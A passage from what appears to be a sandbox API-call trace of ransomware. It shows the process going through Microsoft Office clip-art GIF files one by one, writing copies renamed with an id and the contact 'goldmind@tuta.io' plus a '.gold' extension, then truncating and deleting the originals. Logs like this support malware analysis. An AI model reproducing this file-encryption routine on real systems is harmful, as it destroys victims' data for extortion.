(lpString1=".zip", lpString2=".GIF") returned 1 [0047.788] lstrlenW (lpString=".rar") returned 4 [0047.788] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.788] lstrlenW (lpString=".bz2") returned 4 [0047.788] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.788] lstrlenW (lpString=".7z") returned 3 [0047.788] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0047.788] lstrlenW (lpString=".dbf") returned 4 [0047.789] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0047.789] lstrlenW (lpString=".1cd") returned 4 [0047.789] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0047.789] lstrlenW (lpString=".jpg") returned 4 [0047.789] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0047.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0047.789] lstrlenW (lpString=".doc") returned 4 [0047.789] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.789] lstrlenW (lpString=".docx") returned 5 [0047.789] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.789] lstrlenW (lpString=".pdf") returned 4 [0047.789] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.789] lstrlenW (lpString=".xls") returned 4 [0047.789] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.789] lstrlenW (lpString=".xlsx") returned 5 [0047.789] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.789] lstrlenW (lpString=".ppt") returned 4 [0047.789] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0047.789] lstrlenW (lpString=".zip") returned 4 [0047.789] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.789] lstrlenW (lpString=".rar") returned 4 [0047.789] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.789] lstrlenW (lpString=".bz2") returned 4 [0047.789] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.789] lstrlenW (lpString=".7z") returned 3 [0047.789] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0047.789] lstrlenW (lpString=".dbf") returned 4 [0047.789] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0047.789] lstrlenW (lpString=".1cd") returned 4 [0047.789] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0047.789] lstrlenW (lpString=".jpg") returned 4 [0047.789] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.790] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0047.790] lstrlenW (lpString="AG00092_.GIF") returned 12 [0047.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0047.790] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=502) returned 1 [0047.790] CloseHandle (hObject=0x214) returned 1 [0047.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif")) returned 0x20 [0047.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0047.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0047.790] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.790] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0047.790] GetLastError () returned 0x0 [0047.790] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x1f6, lpOverlapped=0x0) returned 1 [0047.791] WriteFile (in: hFile=0x190, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x200, lpOverlapped=0x0) returned 1 [0047.793] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.793] WriteFile (in: hFile=0x190, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.793] SetEndOfFile (hFile=0x190) returned 1 [0047.793] CloseHandle (hObject=0x190) returned 1 [0047.797] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.797] SetEndOfFile (hFile=0x214) returned 1 [0047.797] CloseHandle (hObject=0x214) returned 1 [0047.797] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0047.797] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif")) returned 1 [0047.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0047.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0047.798] lstrlenW (lpString=".doc") returned 4 [0047.798] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.798] lstrlenW (lpString=".docx") returned 5 [0047.798] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.798] lstrlenW (lpString=".pdf") returned 4 [0047.798] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.798] lstrlenW (lpString=".xls") returned 4 [0047.798] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.798] lstrlenW (lpString=".xlsx") returned 5 [0047.798] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.798] lstrlenW (lpString=".ppt") returned 4 [0047.798] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0047.798] lstrlenW (lpString=".zip") returned 4 [0047.798] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.798] lstrlenW (lpString=".rar") returned 4 [0047.798] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.798] lstrlenW (lpString=".bz2") returned 4 [0047.798] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.798] lstrlenW (lpString=".7z") returned 3 [0047.798] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0047.798] lstrlenW (lpString=".dbf") returned 4 [0047.798] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0047.798] lstrlenW (lpString=".1cd") returned 4 [0047.798] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0047.798] lstrlenW (lpString=".jpg") returned 4 [0047.798] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0047.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0047.798] lstrlenW (lpString=".doc") returned 4 [0047.798] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.798] lstrlenW (lpString=".docx") returned 5 [0047.798] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.798] lstrlenW (lpString=".pdf") returned 4 [0047.798] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.798] lstrlenW (lpString=".xls") returned 4 [0047.799] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.799] lstrlenW (lpString=".xlsx") returned 5 [0047.799] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.799] lstrlenW (lpString=".ppt") returned 4 [0047.799] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0047.799] lstrlenW (lpString=".zip") returned 4 [0047.799] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.799] lstrlenW (lpString=".rar") returned 4 [0047.799] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.799] lstrlenW (lpString=".bz2") returned 4 [0047.799] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.799] lstrlenW (lpString=".7z") returned 3 [0047.799] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0047.799] lstrlenW (lpString=".dbf") returned 4 [0047.799] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0047.799] lstrlenW (lpString=".1cd") returned 4 [0047.799] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0047.799] lstrlenW (lpString=".jpg") returned 4 [0047.799] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.799] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0047.799] lstrlenW (lpString="AG00103_.GIF") returned 12 [0047.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0047.800] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=12702) returned 1 [0047.800] CloseHandle (hObject=0x214) returned 1 [0047.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif")) returned 0x20 [0047.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0047.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0047.800] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.800] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0047.801] GetLastError () returned 0x0 [0047.801] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x319e, lpOverlapped=0x0) returned 1 [0047.802] WriteFile (in: hFile=0x190, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x31a0, lpOverlapped=0x0) returned 1 [0047.803] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.803] WriteFile (in: hFile=0x190, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.803] SetEndOfFile (hFile=0x190) returned 1 [0047.803] CloseHandle (hObject=0x190) returned 1 [0047.803] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.803] SetEndOfFile (hFile=0x214) returned 1 [0047.804] CloseHandle (hObject=0x214) returned 1 [0047.804] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0047.804] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif")) returned 1 [0047.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0047.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0047.804] lstrlenW (lpString=".doc") returned 4 [0047.804] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.804] lstrlenW (lpString=".docx") returned 5 [0047.804] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.804] lstrlenW (lpString=".pdf") returned 4 [0047.804] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.804] lstrlenW (lpString=".xls") returned 4 [0047.804] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.804] lstrlenW (lpString=".xlsx") returned 5 [0047.804] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.804] lstrlenW (lpString=".ppt") returned 4 [0047.804] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0047.804] lstrlenW (lpString=".zip") returned 4 [0047.804] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.804] lstrlenW (lpString=".rar") returned 4 [0047.804] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.804] lstrlenW (lpString=".bz2") returned 4 [0047.804] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.805] lstrlenW (lpString=".7z") returned 3 [0047.805] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0047.805] lstrlenW (lpString=".dbf") returned 4 [0047.805] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0047.805] lstrlenW (lpString=".1cd") returned 4 [0047.805] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0047.805] lstrlenW (lpString=".jpg") returned 4 [0047.805] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0047.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0047.805] lstrlenW (lpString=".doc") returned 4 [0047.805] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.805] lstrlenW (lpString=".docx") returned 5 [0047.805] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.805] lstrlenW (lpString=".pdf") returned 4 [0047.805] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.805] lstrlenW (lpString=".xls") returned 4 [0047.805] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.805] lstrlenW (lpString=".xlsx") returned 5 [0047.805] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.805] lstrlenW (lpString=".ppt") returned 4 [0047.805] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0047.805] lstrlenW (lpString=".zip") returned 4 [0047.805] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.805] lstrlenW (lpString=".rar") returned 4 [0047.805] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.805] lstrlenW (lpString=".bz2") returned 4 [0047.805] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.805] lstrlenW (lpString=".7z") returned 3 [0047.805] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0047.805] lstrlenW (lpString=".dbf") returned 4 [0047.805] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0047.805] lstrlenW (lpString=".1cd") returned 4 [0047.805] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0047.805] lstrlenW (lpString=".jpg") returned 4 [0047.805] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.806] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0047.806] lstrlenW (lpString="AG00120_.GIF") returned 12 [0047.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0047.806] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=3484) returned 1 [0047.806] CloseHandle (hObject=0x214) returned 1 [0047.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif")) returned 0x20 [0047.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0047.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0047.806] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.806] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0047.806] GetLastError () returned 0x0 [0047.806] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0xd9c, lpOverlapped=0x0) returned 1 [0047.808] WriteFile (in: hFile=0x190, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xda0, lpOverlapped=0x0) returned 1 [0047.808] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.808] WriteFile (in: hFile=0x190, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.808] SetEndOfFile (hFile=0x190) returned 1 [0047.808] CloseHandle (hObject=0x190) returned 1 [0047.809] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.809] SetEndOfFile (hFile=0x214) returned 1 [0047.809] CloseHandle (hObject=0x214) returned 1 [0047.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0047.810] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif")) returned 1 [0047.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0047.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0047.810] lstrlenW (lpString=".doc") returned 4 [0047.810] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.810] lstrlenW (lpString=".docx") returned 5 [0047.810] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.810] lstrlenW (lpString=".pdf") returned 4 [0047.810] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.810] lstrlenW (lpString=".xls") returned 4 [0047.810] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.810] lstrlenW (lpString=".xlsx") returned 5 [0047.810] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.810] lstrlenW (lpString=".ppt") returned 4 [0047.810] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0047.810] lstrlenW (lpString=".zip") returned 4 [0047.810] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.810] lstrlenW (lpString=".rar") returned 4 [0047.810] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.810] lstrlenW (lpString=".bz2") returned 4 [0047.810] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.810] lstrlenW (lpString=".7z") returned 3 [0047.810] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0047.810] lstrlenW (lpString=".dbf") returned 4 [0047.810] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0047.810] lstrlenW (lpString=".1cd") returned 4 [0047.810] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.810] lstrlenW (lpString="C:\\Program Files\\Microsoft 